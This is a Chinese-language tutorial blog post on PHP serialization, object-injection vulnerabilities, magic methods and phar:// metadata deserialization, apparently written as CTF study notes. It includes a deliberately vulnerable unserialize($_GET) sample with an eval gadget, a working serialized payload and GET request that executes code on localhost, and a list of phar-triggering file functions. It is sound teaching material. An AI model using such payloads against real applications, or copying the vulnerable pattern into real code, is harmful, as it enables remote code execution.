0x00 前言

前面一篇关于php伪协议的总结中提到,phar://协议能够触发unserialize反序列化,因此会出现安全问题,那么这个安全问题具体指什么呢?

在HGAME 线下赛的 FINAL 一题中,就考察了这个知识点,之前有在一些题库中遇到反序列化的相关题目,但没细细学习,于是就借着这道0解的FINAL题来学习、总结一下PHP的反序列化漏洞。


0x01 序列化?反序列化?

由于之前没有系统地学习过php等面向对象的语言,所以最开始在bugku做题时看见这两个词汇的时候是懵逼的。

但是随着遇到该类题目的次数越来越多,也就不得不去好好的学习了解一下。


1.序列化

PHP的序列化与json数据类似,将各种类型的数据,压缩并按照一定的格式储存起来,实现序列化的函数为serialize(),为了更直观的看出序列化的方式和样子,我们举一个例子:

<?php
class test
{
    private $test = 'Annevi';
}
$object = new test();
$uns = serialize($object);
echo $uns;

可以看到以下输出:

可以看到,我们写的test类中的数据被以序列化的形式储存起来。各个部分解释如下:

这里会发现,我们源代码中的属性名为test,但是经过序列化后却变成了testtest,并且属性名的长度为10,不符合我们的预期。

这其实涉及到了 PHP 的属性的访问权限问题,下面就稍作说明:

php属性访问权限有三种: privateprotectedpublic 先贴上测试代码:

<?php
class test
{
    public $test = 'Annevi';
    private $test2 = 'Annevi';
    protected $test3 = 'Annevi';

}
$object = new test();
$uns = serialize($object);
echo $uns;

结果:

(1) public
public属性序列化后规规矩矩,在我们的预期之内。
(2) private
由字面我们就可以看出,`private`是私有权限,也就是说该属性只能由test类使用,所以为了区别,在序列化后,private属性会在自己的名字前面加上自己所属的类名,这也就解释了为什么最开始的例子中属性名变为**testtest**了。但是长度问题怎么解释呢?

参考了一些资料,我们将序列化后的结果存入一个文件中,再用HxD查看一下.

发现在表明所属类的时候,类名前后其实是由两个空字符(%00)存在的,所以总结一下,私有属性在序列化时的格式是:

%00类名%00属性名

以上,就解释了序列化后属性名和长度的问题。

(3) protected
protected与private 类似,我们也发现了属性名和长度和直接观察得到的不符,所以还是用HxD看了一眼:

可以看到 protected在序列化时 ,格式为:

%00*%00属性名

上面介绍的是类中只有属性存在时的序列化情况,那么如果有方法的存在呢?

<?php
class test
{
    public $test = 'Annevi';
    private $test2 = 'Annevi';
    protected $test3 = 'Annevi';

    public function test4($test)
    {
        $this->test4 = $test;
    }
    public function test5($test)
    {
        return $this->test;
    }

}
$object = new test();
$uns = serialize($object);
echo $uns;
file_put_contents("seri",$uns);

结果:

发现,我们定义的方法并没有在序列化中显示出来,那么他们哪去了?

这里有一点重要的知识点:

序列化只序列化属性,不序列化方法

这点在后面的反序列化漏洞的利用过程中非常的重要,要牢记。


2.反序列化

序列化,是将对象转换成一定格式的字符串。那么相应的,反序列化,就是序列化的逆过程,将格式化的字符串还原。

同样用上面的例子来解释:

我们之前序列化生成了文件:seri,于是我们现在对其进行反序列化:

<?php
class test
{
    public $test = 'Annevi';
    private $test2 = 'Annevi';
    protected $test3 = 'Annevi';

    public function test4($test)
    {
        $this->test = $test;
    }

    public function test5()
    {
        return $this->test;
    }
}
$uns = file_get_contents("seri");
$uns = unserialize($uns);
echo $uns->test."<br>";
echo $uns->test5();

由于我们之前在seri文件中并未对属性值进行修改,所以上述代码输出都为 $test的值,那么下面我们对seri文件中的属性值进行修改

<?php
class test
{
    public $test = 'Annevi';
    private $test2 = 'Annevi';
    protected $test3 = 'Annevi';

    public function test4($test)
    {
        $this->test = $test;
    }

    public function test5()
    {
        return $this->test;
    }

}
$object = new test();
$object->test4('I am Annevi');
$uns = serialize($object);
file_put_contents("seri",$uns);

我们将属性$test的值修改为”I am Annevi”,再对文件 seri 执行一遍反序列化:

得到结果:

这说明,属性$test被我们构造的序列化文件 反序列化后改变了。

那如果我们丢掉上面的方法和类,直接反序列化,能得到我们想要的吗?显然不可能,因为上面提到,我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。总结起来就是,反序列化想要有意义,一定要保证在当前的作用域环境下有该类存在


3.序列化和反序列化存在的意义

首先,存在即合理,序列化和反序列化的存在肯定有他存在的道理,我们知道,json的存在是为了数据传输的方便性,那么类似的,php的序列化首先也是为了数据传输的方便性,那么他们有什么区别呢?php序列化还有其他什么特性呢?

从上面的例子可以看出,我们把一个序列化的对象长久地存储在了计算机的磁盘上,无论什么时候调用都能恢复原来的样子,这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化就行了。

0x02 反序列化漏洞

1.什么是反序列化漏洞?

web安全中有一个很重要的思想——注入,所以php的反序列化漏洞又可以叫做 PHP对象注入漏洞,为什么这么叫呢?其实从上面的一些例子中,可以知道,这个漏洞的利用点,就是在unserialize接受的参数可控的情况下,通过注入我们可控的属性值,来控制类中的方法的执行,从而造成安全隐患。


2.魔术方法

先了解一下什么是魔术方法: http://www.php.net/manual/zh/language.oop5.magic.php

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。

__construct()   //当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
__destruct()	//当对象被销毁时会自动调用,unserialize()时会自动调用
__toString()	//当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__wakeup()		//unserialize()时会自动调用
__call()		//在对象上下文中调用不可访问的方法时触发

为了更好的说明魔术方法的调用,写一个程序来说明一下:

<?php

class magic{
    public $name = "Annevi";
    function __construct(){
        echo "__construct";
        echo "<br>";
    }

    function __destruct(){
       echo "__destruct";
       echo "<br>";
    }

    function __wakeup(){
        echo "__wakeup";
        echo "<br>";
    }

    function __toString(){
        return "__toString"."<br>";
    }
}

$obj = new magic();
echo "1 <br>";
$data = serialize($obj);
echo "2<br>";
$un_obj = unserialize($data);
echo "3 <br>";
print($un_obj);
echo "4 <br>";

为了清楚的看出魔术方法被调用的情况,我在执行的几个操作之间加输出了内容。

运行结果:

从这里我们可以看到,在创建一个对象的时候,首先调用了__construct方法,紧接着执行序列化操作,并没有触发调用任何的魔术方法,之后执行反序列化操作,自动调用了__wakeup方法,之后我们使用print输出对象,调用了__toString,最后销毁实例化创建的对象和我们反序列化生成的对象,调用__destruct两次。


3.魔术方法的利用

直接上代码:

<?php
class magic_test 
{
    private $test;
    public $magic = "This is a magic function";
    function __construct() 
    {
        $this->test = new L();
    }

    function __destruct() 
    {
        $this->test->action();
    }
}

class L 
{
    function action()
    {
        echo "Magic function is so funny";
    }
}

class Evil 
{
    var $test2;
    function action() 
    {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

分析上面的代码,首先看到了参数可控的unserialize,接着看到magic_test类中存在两个魔术方法 __construct__destruct,其中看到__destruct方法调用了action(),往下看,发现 L 类中存在action但是仅仅是做了打印的操作,没什么利用点,再看Evil方法,发现action调用了敏感操作函数eval,因此,要是我们能够控制test2的值,就能实现任意命令执行,完成攻击。

至此,攻击思路已经建立完成,下面就要开始实践了。

首先序列化和反序列化针对的是类中的属性,所以我们必须在payload中给出已存在的类,上述代码中,我们需要指定类

magic_testEvil,接着我们控制 magic_test中的属性 test的值,为了执行代码,我们将test篡改为Evil的对象,并且篡改Evil的属性 test2为我们需要执行的代码。

payload如下:

<?php
class magic_test
{
    private $test;
    public function __construct()
    {
        $this->test = new Evil();
    }
}

class Evil
{
    var $test2 = 'phpinfo();';
}

$obj = new magic_test();
$data = serialize($obj);
echo $data;

运行程序 输出poc:

O:10:"magic_test":1:{s:16:"magic_testtest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

直接将poc通过get方式提交:

http://127.0.0.1/index.php?test=O:10:magic_test:1:{s:16:magic_testtest;O:4:Evil:1:{s:5:test2;s:10:phpinfo();s;}}

我们发现没有任何的输出,这是为什么呢? 这时候上面说的php属性访问权限的问题就体现出来了,在源代码中,我们的 $test属性是私有的,因此,他序列化后的格式为 %00所属类名%00属性名,所以我们修改poc为:

http://127.0.0.1/index.php?test=O:10:"magic_test":1:{s:16:"%00magic_test%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

成功执行命令。


0x03 利用phar:// 的特性执行反序列化攻击


在上一篇php伪协议的总结文章中有提到关于phar的相关内容,关于如何创建phar文件以及如何使用伪协议解析读取phar文件的内容,请移步 https://lwh.red/php几个常用伪协议的总结整理/,查看phar的相关介绍,这里就不再赘述了。


1.phar:// 如何扩展反序列化的攻击面的

phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。


2.phar:// 协议可用的函数

受影响的函数列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fikeperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

以上函数中都可以使用phar://协议读取phar文件触发mata-data处的反序列化。


3.phar反序列化小测试

先创建一个phar文件:

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算

$phar->stopBuffering();
?>

成功创建phar文件后,我们使用file_get_content()函数执行phar伪协议,读取文件触发反序列化:

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

在输出的页面中看见 __desturct方法被成功调用,输出了Destruct called,可以看出我们成功的在没有 unserailize() 函数的情况下,通过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操作。


0x04 后记+总结


php反序列化应该是比较重要的内容了,花了近一周的时间搜索了许多资料,看了一些大佬的博客后总结出本文章,首先是让自己对反序列化的理解更加的深入,其次也是留下自己学习的一些记录,就当作学习笔记吧。

之后应该还会针对反序列化有几篇实战的复现以及CTF题的题解,用来进一步加深自己对反序列化的理解。